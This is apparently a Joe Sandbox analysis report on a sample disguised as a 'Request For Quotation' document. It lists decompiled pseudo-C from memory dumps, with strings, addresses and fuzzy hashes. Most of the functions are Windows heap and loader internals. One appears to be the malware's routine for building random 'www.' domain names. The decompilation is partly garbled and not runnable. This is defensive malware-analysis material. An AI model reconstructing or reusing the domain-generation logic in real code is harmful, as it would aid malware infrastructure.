				intOrPtr* _t147;
				char _t160;
				signed int* _t163;
				signed char* _t164;
				intOrPtr _t165;
				signed int* _t167;
				signed char* _t168;
				intOrPtr _t193;
				intOrPtr* _t195;
				signed int _t203;
				signed int _t209;
				signed int _t211;
				intOrPtr _t214;
				intOrPtr* _t231;
				intOrPtr* _t236;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t240;
				intOrPtr _t241;
				char _t243;
				signed int _t252;
				signed int _t254;
				signed char _t259;
				signed int _t264;
				signed int _t268;
				intOrPtr _t277;
				unsigned int _t279;
				signed int* _t283;
				intOrPtr* _t284;
				unsigned int _t287;
				signed int _t291;
				signed int _t293;

				_v8 =  *0xb0d360 ^ _t293;
				_t223 = __edx;
				_v20 = __edx;
				_t291 = __ecx;
				_t276 =  *__edx;
				_t231 = E00A3B8E4( *__edx);
				_t292 = __ecx + 0x8c;
				_v16 = _t231;
				if(_t231 == __ecx + 0x8c) {
					L38:
					_t131 = 0;
					L34:
					return L00A5B640(_t131, _t223, _v8 ^ _t293, _t276, _t291, _t292);
				}
				if( *0xb08748 >= 1) {
					__eflags =  *((intOrPtr*)(_t231 + 0x14)) -  *__edx;
					if(__eflags < 0) {
						_t214 =  *[fs:0x30];
						__eflags =  *(_t214 + 0xc);
						if( *(_t214 + 0xc) == 0) {
							_push("HEAP: ");
							E00A1B150();
						} else {
							E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(UCRBlock->Size >= *Size)");
						E00A1B150();
						__eflags =  *0xb07bc8;
						if(__eflags == 0) {
							__eflags = 1;
							E00AD2073(_t223, 1, _t291, 1);
						}
						_t231 = _v16;
					}
				}
				_t5 = _t231 - 8; // -8
				_t292 = _t5;
				_t134 =  *((intOrPtr*)(_t292 + 6));
				if(_t134 != 0) {
					_t223 = (_t292 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
				} else {
					_t223 = _t291;
				}
				_t276 = _v20;
				_v28 =  *((intOrPtr*)(_t231 + 0x10));
				_t139 =  *(_t291 + 0xcc) ^  *0xb08a68;
				_v12 = _t139;
				if(_t139 != 0) {
					 *0xb0b1e0(_t291,  &_v28, _t276);
					_t141 = _v12();
					goto L8;
				} else {
					_t203 =  *((intOrPtr*)(_t231 + 0x14));
					_v12 = _t203;
					if(_t203 -  *_t276 <=  *(_t291 + 0x6c) << 3) {
						_t264 = _v12;
						__eflags = _t264 -  *(_t291 + 0x5c) << 3;
						if(__eflags < 0) {
							 *_t276 = _t264;
						}
					}
					_t209 =  *(_t291 + 0x40) & 0x00040000;
					asm("sbb ecx, ecx");
					_t268 = ( ~_t209 & 0x0000003c) + 4;
					_v12 = _t268;
					if(_t209 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v48);
						_push(3);
						_push(_t291);
						_push(0xffffffff);
						_t211 = L00A59730();
						__eflags = _t211;
						if(_t211 < 0) {
							L56:
							_push(_t268);
							_t276 = _t291;
							E00ADA80D(_t291, 1, _v44, 0);
							_t268 = 4;
							goto L7;
						}
						__eflags = _v44 & 0x00000060;
						if((_v44 & 0x00000060) == 0) {
							goto L56;
						}
						__eflags = _v48 - _t291;
						if(__eflags != 0) {
							goto L56;
						}
						_t268 = _v12;
					}
					L7:
					_push(_t268);
					_push(0x1000);
					_push(_v20);
					_push(0);
					_push( &_v28);
					_push(0xffffffff);
					_t141 = E00A59660();
					 *((intOrPtr*)(_t291 + 0x20c)) =  *((intOrPtr*)(_t291 + 0x20c)) + 1;
					L8:
					if(_t141 < 0) {
						 *((intOrPtr*)(_t291 + 0x214)) =  *((intOrPtr*)(_t291 + 0x214)) + 1;
						goto L38;
					}
					_t143 =  *( *[fs:0x30] + 0x50);
					if(_t143 != 0) {
						__eflags =  *_t143;
						if(__eflags == 0) {
							goto L10;
						}
						_t144 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
						L11:
						if( *_t144 != 0) {
							__eflags =  *( *[fs:0x30] + 0x240) & 0x00000001;
							if(__eflags != 0) {
								E00AD138A(_t223, _t291, _v28,  *_v20, 2);
							}
						}
						if( *((intOrPtr*)(_t291 + 0x4c)) != 0) {
							_t287 =  *(_t291 + 0x50) ^  *_t292;
							 *_t292 = _t287;
							_t259 = _t287 >> 0x00000010 ^ _t287 >> 0x00000008 ^ _t287;
							if(_t287 >> 0x18 != _t259) {
								_push(_t259);
								E00ACFA2B(_t223, _t291, _t292, _t291, _t292, __eflags);
							}
						}
						_t147 = _v16 + 8;
						 *((char*)(_t292 + 2)) = 0;
						 *((char*)(_t292 + 7)) = 0;
						_t236 =  *((intOrPtr*)(_t147 + 4));
						_t277 =  *_t147;
						_v24 = _t236;
						_t237 =  *_t236;
						_v12 = _t237;
						_t238 = _v16;
						if(_t237 !=  *((intOrPtr*)(_t277 + 4)) || _v12 != _t147) {
							_push(_t238);
							_push(_v12);
							E00ADA80D(0, 0xd, _t147,  *((intOrPtr*)(_t277 + 4)));
							_t238 = _v16;
						} else {
							_t195 = _v24;
							 *_t195 = _t277;
							 *((intOrPtr*)(_t277 + 4)) = _t195;
						}
						if( *(_t238 + 0x14) == 0) {
							L22:
							_t223[0x30] = _t223[0x30] - 1;
							_t223[0x2c] = _t223[0x2c] - ( *(_t238 + 0x14) >> 0xc);
							 *((intOrPtr*)(_t291 + 0x1e8)) =  *((intOrPtr*)(_t291 + 0x1e8)) +  *(_t238 + 0x14);
							 *((intOrPtr*)(_t291 + 0x1fc)) =  *((intOrPtr*)(_t291 + 0x1fc)) + 1;
							 *((intOrPtr*)(_t291 + 0x1f8)) =  *((intOrPtr*)(_t291 + 0x1f8)) - 1;
							_t279 =  *(_t238 + 0x14);
							if(_t279 >= 0x7f000) {
								 *((intOrPtr*)(_t291 + 0x1ec)) =  *((intOrPtr*)(_t291 + 0x1ec)) - _t279;
								_t279 =  *(_t238 + 0x14);
							}
							_t152 = _v20;
							_t240 =  *_v20;
							_v12 = _t240;
							_t241 = _v16;
							if(_t279 <= _t240) {
								__eflags =  *((intOrPtr*)(_t241 + 0x10)) + _t279 - _t223[0x28];
								if( *((intOrPtr*)(_t241 + 0x10)) + _t279 != _t223[0x28]) {
									 *_v20 = _v12 + ( *_t292 & 0x0000ffff) * 8;
									L26:
									_t243 = 0;
									 *((char*)(_t292 + 3)) = 0;
									_t276 = _t223[0x18];
									if(_t223[0x18] != _t223) {
										_t160 = (_t292 - _t223 >> 0x10) + 1;
										_v24 = _t160;
										__eflags = _t160 - 0xfe;
										if(_t160 >= 0xfe) {
											_push(0);
											_push(0);
											E00ADA80D(_t276, 3, _t292, _t223);
											_t160 = _v24;
										}
										_t243 = _t160;
									}
									 *((char*)(_t292 + 6)) = _t243;
									_t163 =  *( *[fs:0x30] + 0x50);
									if(_t163 != 0) {
										__eflags =  *_t163;
										if( *_t163 == 0) {
											goto L28;
										}
										_t227 = 0x7ffe0380;
										_t164 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
										goto L29;
									} else {
										L28:
										_t227 = 0x7ffe0380;
										_t164 = 0x7ffe0380;
										L29:
										if( *_t164 != 0) {
											_t165 =  *[fs:0x30];
											__eflags =  *(_t165 + 0x240) & 0x00000001;
											if(( *(_t165 + 0x240) & 0x00000001) != 0) {
												__eflags = E00A37D50();
												if(__eflags != 0) {
													_t227 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
													__eflags =  &(( *( *[fs:0x30] + 0x50))[0x89]);
												}
												_t276 = _t292;
												E00AD1582(_t227, _t291, _t292, __eflags,  *_v20,  *(_t291 + 0x74) << 3,  *_t227 & 0x000000ff);
											}
										}
										_t223 = 0x7ffe038a;
										_t167 =  *( *[fs:0x30] + 0x50);
										if(_t167 != 0) {
											__eflags =  *_t167;
											if( *_t167 == 0) {
												goto L31;
											}
											_t168 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
											goto L32;
										} else {
											L31:
											_t168 = _t223;
											L32:
											if( *_t168 != 0) {
												__eflags = E00A37D50();
												if(__eflags != 0) {
													_t223 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
													__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
												}
												_t276 = _t292;
												E00AD1582(_t223, _t291, _t292, __eflags,  *_v20,  *(_t291 + 0x74) << 3,  *_t223 & 0x000000ff);
											}
											_t131 = _t292;
											goto L34;
										}
									}
								}
								_t152 = _v20;
							}
							L00A3B73D(_t291, _t223,  *((intOrPtr*)(_t241 + 0x10)) + _v12 + 0xffffffe8, _t279 - _v12, _t292, _t152);
							 *_v20 =  *_v20 << 3;
							goto L26;
						} else {
							_t283 =  *(_t291 + 0xb8);
							if(_t283 != 0) {
								_t190 =  *(_t238 + 0x14) >> 0xc;
								while(1) {
									__eflags = _t190 - _t283[1];
									if(_t190 < _t283[1]) {
										break;
									}
									_t252 =  *_t283;
									__eflags = _t252;
									_v24 = _t252;
									_t238 = _v16;
									if(_t252 == 0) {
										_t190 = _t283[1] - 1;
										__eflags = _t283[1] - 1;
										L70:
										E00A3BC04(_t291, _t283, 0, _t238, _t190,  *(_t238 + 0x14));
										_t238 = _v16;
										goto L19;
									}
									_t283 = _v24;
								}
								goto L70;
							}
							L19:
							_t193 =  *_t238;
							_t284 =  *((intOrPtr*)(_t238 + 4));
							_t254 =  *((intOrPtr*)(_t193 + 4));
							_v24 = _t254;
							_t238 = _v16;
							if( *_t284 != _t254 ||  *_t284 != _t238) {
								_push(_t238);
								_push( *_t284);
								E00ADA80D(0, 0xd, _t238, _v24);
								_t238 = _v16;
							} else {
								 *_t284 = _t193;
								 *((intOrPtr*)(_t193 + 4)) = _t284;
							}
							goto L22;
						}
					}
					L10:
					_t144 = 0x7ffe0380;
					goto L11;
				}
			}

0x00a3b486
0x00a3b48a
0x00a3b48e
0x00a3b491
0x00a3b493
0x00a3b49a
0x00a3b49c
0x00a3b4a2
0x00a3b4a7
0x00a3b6fc
0x00a3b6fc
0x00a3b6b3
0x00a3b6c3
0x00a3b6c3
0x00a3b4b4
0x00a8294f
0x00a82951
0x00a82957
0x00a8295d
0x00a82961
0x00a82980
0x00a82985
0x00a82963
0x00a82978
0x00a8297d
0x00a8298b
0x00a82990
0x00a82995
0x00a8299d
0x00a829a1
0x00a829a2
0x00a829a2
0x00a829a7
0x00a829a7
0x00a82951
0x00a3b4ba
0x00a3b4ba
0x00a3b4bd
0x00a3b4c2
0x00a3b6d4
0x00a3b4c8
0x00a3b4c8
0x00a3b4c8
0x00a3b4cd
0x00a3b4d0
0x00a3b4d9
0x00a3b4df
0x00a3b4e2
0x00a829b7
0x00a829bd
0x00000000
0x00a3b4e8
0x00a3b4e8
0x00a3b4ef
0x00a3b4fa
0x00a3b703
0x00a3b709
0x00a3b70b
0x00a3b711
0x00a3b711
0x00a3b70b
0x00a3b503
0x00a3b50c
0x00a3b511
0x00a3b514
0x00a3b519
0x00a829c5
0x00a829c7
0x00a829cc
0x00a829cd
0x00a829cf
0x00a829d0
0x00a829d2
0x00a829d7
0x00a829d9
0x00a829ee
0x00a829ee
0x00a829f4
0x00a829fa
0x00a82a01
0x00000000
0x00a82a01
0x00a829db
0x00a829df
0x00000000
0x00000000
0x00a829e1
0x00a829e4
0x00000000
0x00000000
0x00a829e6
0x00a829e6
0x00a3b51f
0x00a3b51f
0x00a3b520
0x00a3b525
0x00a3b52b
0x00a3b52d
0x00a3b52e
0x00a3b530
0x00a3b535
0x00a3b53b
0x00a3b53d
0x00a82a07
0x00000000
0x00a82a07
0x00a3b549
0x00a3b54e
0x00a82a12
0x00a82a15
0x00000000
0x00000000
0x00a82a24
0x00a3b559
0x00a3b55c
0x00a82a34
0x00a82a3b
0x00a82a4d
0x00a82a4d
0x00a82a3b
0x00a3b566
0x00a3b56b
0x00a3b56f
0x00a3b57b
0x00a3b582
0x00a82a57
0x00a82a5c
0x00a82a5c
0x00a3b582
0x00a3b58b
0x00a3b58e
0x00a3b592
0x00a3b596
0x00a3b599
0x00a3b59b
0x00a3b59e
0x00a3b5a3
0x00a3b5a6
0x00a3b5a9
0x00a82a66
0x00a82a67
0x00a82a73
0x00a82a78
0x00a3b5b8
0x00a3b5b8
0x00a3b5bb
0x00a3b5bd
0x00a3b5bd
0x00a3b5c4
0x00a3b5f7
0x00a3b5f7
0x00a3b600
0x00a3b606
0x00a3b60c
0x00a3b612
0x00a3b618
0x00a3b621
0x00a3b623
0x00a3b629
0x00a3b629
0x00a3b62c
0x00a3b62f
0x00a3b633
0x00a3b636
0x00a3b639
0x00a3b71d
0x00a3b720
0x00a3b736
0x00a3b660
0x00a3b660
0x00a3b662
0x00a3b665
0x00a3b66a
0x00a3b6e6
0x00a3b6e7
0x00a3b6ea
0x00a3b6ef
0x00a82ad1
0x00a82ad2
0x00a82ad8
0x00a82add
0x00a82add
0x00a3b6f5
0x00a3b6f5
0x00a3b672
0x00a3b675
0x00a3b67a
0x00a82ae5
0x00a82ae8
0x00000000
0x00000000
0x00a82af4
0x00a82afc
0x00000000
0x00a3b680
0x00a3b680
0x00a3b680
0x00a3b685
0x00a3b687
0x00a3b68a
0x00a82b06
0x00a82b0c
0x00a82b13
0x00a82b1e
0x00a82b20
0x00a82b2b
0x00a82b2b
0x00a82b2b
0x00a82b34
0x00a82b45
0x00a82b45
0x00a82b13
0x00a3b696
0x00a3b69b
0x00a3b6a0
0x00a82b4f
0x00a82b52
0x00000000
0x00000000
0x00a82b61
0x00000000
0x00a3b6a6
0x00a3b6a6
0x00a3b6a6
0x00a3b6a8
0x00a3b6ab
0x00a82b70
0x00a82b72
0x00a82b7d
0x00a82b7d
0x00a82b7d
0x00a82b86
0x00a82b97
0x00a82b97
0x00a3b6b1
0x00000000
0x00a3b6b1
0x00a3b6a0
0x00a3b67a
0x00a3b722
0x00a3b722
0x00a3b655
0x00a3b65d
0x00000000
0x00a3b5c6
0x00a3b5c6
0x00a3b5ce
0x00a82a83
0x00a82a97
0x00a82a97
0x00a82a9a
0x00000000
0x00000000
0x00a82a88
0x00a82a8a
0x00a82a8c
0x00a82a8f
0x00a82a92
0x00a82aa1
0x00a82aa1
0x00a82aa2
0x00a82aab
0x00a82ab0
0x00000000
0x00a82ab0
0x00a82a94
0x00a82a94
0x00000000
0x00a82a9c
0x00a3b5d4
0x00a3b5d4
0x00a3b5d6
0x00a3b5d9
0x00a3b5de
0x00a3b5e1
0x00a3b5e4
0x00a82ab8
0x00a82ab9
0x00a82ac4
0x00a82ac9
0x00a3b5f2
0x00a3b5f2
0x00a3b5f4
0x00a3b5f4
0x00000000
0x00a3b5e4
0x00a3b5c4
0x00a3b554
0x00a3b554
0x00000000
0x00a3b554

Strings

HEAP: , xrefs: 00A82980
HEAP[%wZ]: , xrefs: 00A82973
(UCRBlock->Size >= *Size), xrefs: 00A8298B

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 9f07d13fe675950b06eeff8d0248a29bceee978aba64c18d6dc1ff14b218ba7b
Instruction ID: 3cc9600f7d9e6616d4429290b0a84f7857e8b69a6930046ffb0f341c701bc7f0
Opcode Fuzzy Hash: 9f07d13fe675950b06eeff8d0248a29bceee978aba64c18d6dc1ff14b218ba7b
Instruction Fuzzy Hash: A4E17A70610205AFDB19DF68C995BBAB7B6FF48300F2481A9E5169B392D734ED41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004162B6, Relevance: 4.0, Strings: 3, Instructions: 297
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004162B6(char __eax, void* __ebx, signed int __ecx, void* __esi, void* __eflags) {
				char _t126;
				signed char _t133;
				void* _t136;
				signed int _t141;
				intOrPtr _t156;
				intOrPtr _t198;
				void* _t202;
				void* _t230;
				void* _t259;
				void* _t262;
				intOrPtr _t263;
				void* _t265;
				void* _t267;
				void* _t270;

				asm("stc");
				if(__eflags > 0) {
					 *((intOrPtr*)(_t265 - 0xf)) = __eax;
					 *((short*)(_t265 - 0xb)) = __eax;
					 *((char*)(_t265 - 9)) = __eax;
					_t262 = 0;
					do {
						_t126 = E00409290(0, 0x53, 0x92);
						_t267 = _t267 + 8;
						_t202 = 0;
						while(_t126 !=  *((intOrPtr*)(_t265 + _t202 - 0x10))) {
							_t202 = _t202 + 1;
							if(_t202 <= _t262) {
								continue;
							} else {
								if(_t126 != 0) {
									 *((char*)(_t265 + _t262 - 0x10)) = _t126;
									_t262 = _t262 + 1;
								}
							}
							goto L9;
						}
						L9:
						_t290 = _t262 - 8;
					} while (_t262 < 8);
					 *((intOrPtr*)(_t265 - 8)) = 0x2e777777;
					 *((char*)(_t265 - 4)) = 0;
					 *((short*)(_t265 - 3)) = 0;
					 *((char*)(_t265 - 1)) = 0;
					 *((char*)(_t265 - 0x98)) = 0;
					E0041A110(_t265 - 0x97, 0, 0x3f);
					E0041AA00(_t265 - 0x98, E00409290(_t290, 2, 5) & 0x000000ff);
					 *((char*)(_t265 + E0041A360(_t265 - 0x98) - 0x98)) = 0x3d;
					_t133 = E00409290(_t290, 4, 0x10);
					_t136 = E0041AA00(_t265 + E0041A360(_t265 - 0x98) - 0x98, _t133 & 0x000000ff);
					_t26 = _t265 + 8; // 0x2e777777
					_t263 =  *_t26;
					_t198 = 0;
					_t270 = _t267 + 0x34;
					 *((intOrPtr*)(_t265 - 0x14)) = 0;
					_t259 = 0;
					do {
						_t291 =  *((intOrPtr*)(_t263 + 0x1178)) - _t198;
						if( *((intOrPtr*)(_t263 + 0x1178)) != _t198) {
							E0041A0C0(_t265 - 0x58, 0x2e);
							 *((short*)(_t265 - 0x308)) = 0;
							E0041A110(_t265 - 0x306, 0, 0x206);
							_t141 = E0041A680(E0041A0C0( *((intOrPtr*)(_t263 + 0x14ac)) + _t259, 0x388));
							_t34 = _t198 - 1; // -1
							 *( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x40) = _t141 * _t34 & 0x00000001;
							E0041A090( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x87, _t265 - 0x98, E0041A360(_t265 - 0x98));
							_t42 = _t265 - 8; // 0x2e777777
							E0041A090(_t265 - 0x58, _t42, 4);
							_push(4);
							E00409DF0(_t198, _t263, _t291, _t263, _t265 + E0041A360(_t265 - 0x58) - 0x58,  *(_t265 + _t198 - 0x10) & 0x000000ff);
							E0041A090( *((intOrPtr*)(_t263 + 0x14ac)) + _t259, _t265 - 0x58, E0041A360(_t265 - 0x58));
							_t156 = E0041A360(_t265 - 0x58);
							_t200 = _t263 + 0xe90;
							 *((intOrPtr*)(_t265 - 0x18)) = _t156;
							E0041A490(_t265 - 0x58, _t263 + 0xe90, 0);
							E00408C30(_t265 - 0x100);
							E004099B0(_t265 - 0x100, _t265 - 0x58, E0041A360(_t265 - 0x58));
							_push(_t265 - 0x100);
							E00409980(_t263 + 0xe90, _t259);
							E0041A090( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x72, _t265 - 0x100, 0x14);
							 *((char*)(_t265 +  *((intOrPtr*)(_t265 - 0x18)) - 0x58)) = 0;
							 *((intOrPtr*)( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x4c)) = 2;
							 *((intOrPtr*)( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x50)) = 1;
							E00409E80(_t263 + 0xe90, _t263, _t291, _t263, _t265 - 0x308, 0x46, 1);
							E0041A730( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0xc7, _t265 - 0x308);
							E00409E80(_t200, _t263, _t291, _t263, _t265 - 0x308, 0x47, 1);
							E0041A730(E0041A360( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0xc7) +  *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0xc7, _t265 - 0x308);
							E0041A490( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0xc7, _t265 - 0x58, 0);
							E00409E80(_t200, _t263, _t291, _t263, _t265 - 0x308, 0x4a, 1);
							E0041A730( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x167, _t265 - 0x308);
							E00409E80(_t200, _t263, _t291, _t263, _t265 - 0x308, 0x4b, 1);
							E0041A730(E0041A360( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x167) +  *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x167, _t265 - 0x308);
							E0041A490( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x167, _t265 - 0x58, 0);
							E00409E80(_t200, _t263, _t291, _t263, _t265 - 0x308, 0x4f, 1);
							E0041A730(E0041A360( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x287) +  *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x287, _t265 - 0x308);
							E0041A490( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x287, _t265 - 0x58, 0);
							_t136 = E0041A490( *((intOrPtr*)(_t263 + 0x14ac)) + _t259 + 0x287, _t200, 0);
							_t198 =  *((intOrPtr*)(_t265 - 0x14));
							_t270 = _t270 + 0x144;
						}
						_t198 = _t198 + 1;
						_t259 = _t259 + 0x388;
						 *((intOrPtr*)(_t265 - 0x14)) = _t198;
					} while (_t259 < 0x1c40);
					return _t136;
				} else {
					asm("lodsd");
					asm("invalid");
					 *(__ecx &  *(__eax - 0x6a)) = _t230;
					asm("xlatb");
				}
			}

0x004162b6
0x004162b7
0x004162f6
0x004162f9
0x004162fd
0x00416300
0x00416302
0x00416309
0x0041630e
0x00416311
0x00416313
0x00416319
0x0041631c
0x00000000
0x0041631e
0x00416320
0x00416322
0x00416326
0x00416326
0x00416320
0x00000000
0x0041631c
0x00416327
0x00416327
0x00416327
0x00416338
0x0041633f
0x00416343
0x00416347
0x0041634a
0x00416350
0x00416369
0x0041637e
0x00416386
0x004163a9
0x004163ae
0x004163ae
0x004163b1
0x004163b3
0x004163b6
0x004163b9
0x004163c0
0x004163c0
0x004163c6
0x004163d2
0x004163e6
0x004163ed
0x00416405
0x00416410
0x00416419
0x0041643f
0x00416446
0x0041644e
0x0041645b
0x00416470
0x0041648c
0x00416495
0x0041649c
0x004164a7
0x004164aa
0x004164b6
0x004164d0
0x004164de
0x004164df
0x004164f8
0x00416506
0x00416515
0x00416525
0x0041652d
0x00416547
0x00416558
0x0041658b
0x004165a4
0x004165b5
0x004165cf
0x004165e0
0x00416613
0x0041662c
0x0041663d
0x00416670
0x00416689
0x0041669f
0x004166a4
0x004166a7
0x004166a7
0x004166aa
0x004166ab
0x004166b1
0x004166b4
0x004166c6
0x004162b9
0x00416275
0x00416276
0x00416278
0x0041627a
0x0041627b

Strings

=, xrefs: 0041637E
www., xrefs: 00416446, 00416449
www., xrefs: 004163AE, 0041646F, 00416524, 00416557, 004165B4, 004165DF, 0041663C

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID: =$www.$www.
API String ID: 0-3343787489
Opcode ID: a9a27c74dd1f4251889372856c6cb0cad57316b3b3053c203ecbd2d72ae3aafb
Instruction ID: d95e82bd6ccc6bfe905e05737b4636b59fd9252cdb3cf6c65d1a1e7d6e293b21
Opcode Fuzzy Hash: a9a27c74dd1f4251889372856c6cb0cad57316b3b3053c203ecbd2d72ae3aafb
Instruction Fuzzy Hash: 54B1B876941208ABDB15DBF0CCC2FDFB37CAF44318F00455EB61957182DA78A698CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00A262A0, Relevance: 4.0, Strings: 3, Instructions: 291
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A262A0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				short _t93;
				short _t94;
				signed char* _t98;
				signed int _t99;
				signed char* _t100;
				signed int _t102;
				signed char* _t106;
				signed int _t107;
				signed char* _t108;
				signed int _t118;
				void* _t122;
				void* _t124;
				void* _t126;
				void* _t128;
				void* _t130;
				void* _t132;
				void* _t134;
				void* _t136;
				signed int _t137;
				signed int _t138;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				signed int _t143;
				short _t148;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				signed int _t173;
				intOrPtr _t178;
				void* _t179;
				void* _t180;
				void* _t181;
				void* _t182;
				signed int _t187;
				signed int _t192;
				signed int _t193;
				signed int _t195;
				void* _t196;

				_push(0x44);
				_push(0xaef958);
				E00A6D0E8(__ebx, __edi, __esi);
				 *(_t196 - 0x34) =  *(_t196 + 8);
				 *(_t196 - 0x3c) =  *(_t196 + 0x10);
				 *((intOrPtr*)(_t196 - 0x28)) = L"MUI";
				 *((intOrPtr*)(_t196 - 0x24)) = 1;
				 *((intOrPtr*)(_t196 - 0x20)) = 0;
				 *(_t196 - 0x38) =  *(_t196 + 0xc);
				 *(_t196 - 0x30) = 0;
				_t148 = 0x2e;
				 *((short*)(_t196 - 0x4c)) = _t148;
				_t93 = 0x30;
				 *((short*)(_t196 - 0x4a)) = _t93;
				 *(_t196 - 0x48) = L"LdrResGetRCConfig Enter";
				_t94 = 0x2c;
				 *((short*)(_t196 - 0x54)) = _t94;
				 *((short*)(_t196 - 0x52)) = _t148;
				 *(_t196 - 0x50) = L"LdrResGetRCConfig Exit";
				_t187 =  *(_t196 + 0x14) & 0x00002000;
				asm("sbb esi, esi");
				_t192 = ( ~_t187 & 0x00001000) + 0x1030;
				if(E00A37D50() != 0) {
					_t98 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t98 = 0x7ffe0385;
				}
				if(( *_t98 & 0x00000001) != 0) {
					_t99 = E00A37D50();
					__eflags = _t99;
					if(_t99 == 0) {
						_t100 = 0x7ffe0384;
					} else {
						_t100 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L00AA6715(_t196 - 0x4c,  *_t100 & 0x000000ff);
				}
				_t102 =  *(_t196 - 0x34);
				if(_t102 == 0) {
					_t193 = 0xc000000d;
					goto L7;
				} else {
					if( *((intOrPtr*)(_t196 + 0x18)) == 0) {
						L17:
						__eflags =  *(_t196 + 0xc);
						if(__eflags == 0) {
							__eflags = _t187;
							if(__eflags != 0) {
								goto L18;
							}
							_push(0);
							_push( *(_t196 + 0x14));
							_push(_t196 - 0x38);
							_push(_t102);
							__eflags = E00A484E0(0, _t187, _t192, __eflags);
							if(__eflags >= 0) {
								goto L18;
							}
							L12:
							return E00A6D130(0, _t187, _t193);
						}
						L18:
						_t195 = E00A4701D(0,  *(_t196 - 0x34),  *(_t196 - 0x38), _t187, _t192 | 0x00200000, __eflags, _t192 | 0x00200000, _t196 - 0x28, 3, _t196 - 0x30, _t196 - 0x40, 0, 0);
						 *(_t196 - 0x2c) = _t195;
						__eflags = _t195;
						if(_t195 >= 0) {
							 *((intOrPtr*)(_t196 - 4)) = 0;
							__eflags = _t187;
							_t187 =  *(_t196 - 0x30);
							if(__eflags != 0) {
								L55:
								 *((intOrPtr*)(_t196 - 4)) = 0xfffffffe;
								_t118 =  *(_t196 - 0x3c);
								__eflags = _t118;
								if(_t118 != 0) {
									 *_t118 = _t187;
								}
								_t193 = 0;
								 *(_t196 - 0x2c) = 0;
								L23:
								__eflags =  *((char*)(_t196 + 0x18));
								if( *((char*)(_t196 + 0x18)) != 0) {
									__eflags = _t187;
									if(__eflags == 0) {
										_t187 = _t187 | 0xffffffff;
										__eflags = _t187;
									}
									_push(0);
									_push(_t193);
									_push(2);
									_push(0);
									_push(_t187);
									_push(0);
									E00A4DA88(0,  *(_t196 - 0x34), 0, _t187, _t193, __eflags);
								}
								L8:
								if(E00A37D50() != 0) {
									_t106 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									_t193 =  *(_t196 - 0x2c);
								} else {
									_t106 = 0x7ffe0385;
								}
								if(( *_t106 & 0x00000001) != 0) {
									_t107 = E00A37D50();
									__eflags = _t107;
									if(_t107 == 0) {
										_t108 = 0x7ffe0384;
									} else {
										_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
										_t193 =  *(_t196 - 0x2c);
									}
									L00AA6715(_t196 - 0x54,  *_t108 & 0x000000ff);
								}
								goto L12;
							}
							_t178 =  *((intOrPtr*)(_t187 + 4));
							__eflags = _t178 + _t187 - ( *(_t196 - 0x34) & 0xfffffffc) +  *(_t196 - 0x38);
							if(_t178 + _t187 > ( *(_t196 - 0x34) & 0xfffffffc) +  *(_t196 - 0x38)) {
								_t193 = 0xc000007b;
								 *(_t196 - 0x2c) = 0xc000007b;
								L61:
								 *((intOrPtr*)(_t196 - 4)) = 0xfffffffe;
								L21:
								__eflags = _t193;
								if(_t193 < 0) {
									_t187 = 0;
								}
								goto L23;
							}
							_t193 = 0xc00b0003;
							 *(_t196 - 0x2c) = 0xc00b0003;
							_t156 =  *((intOrPtr*)(_t187 + 0x44));
							_t122 =  *((intOrPtr*)(_t187 + 0x48)) + _t156;
							__eflags = _t122 - _t178;
							if(_t122 > _t178) {
								goto L61;
							}
							__eflags = _t122 - _t156;
							if(_t122 < _t156) {
								goto L61;
							}
							_t157 =  *((intOrPtr*)(_t187 + 0x4c));
							_t124 =  *((intOrPtr*)(_t187 + 0x50)) + _t157;
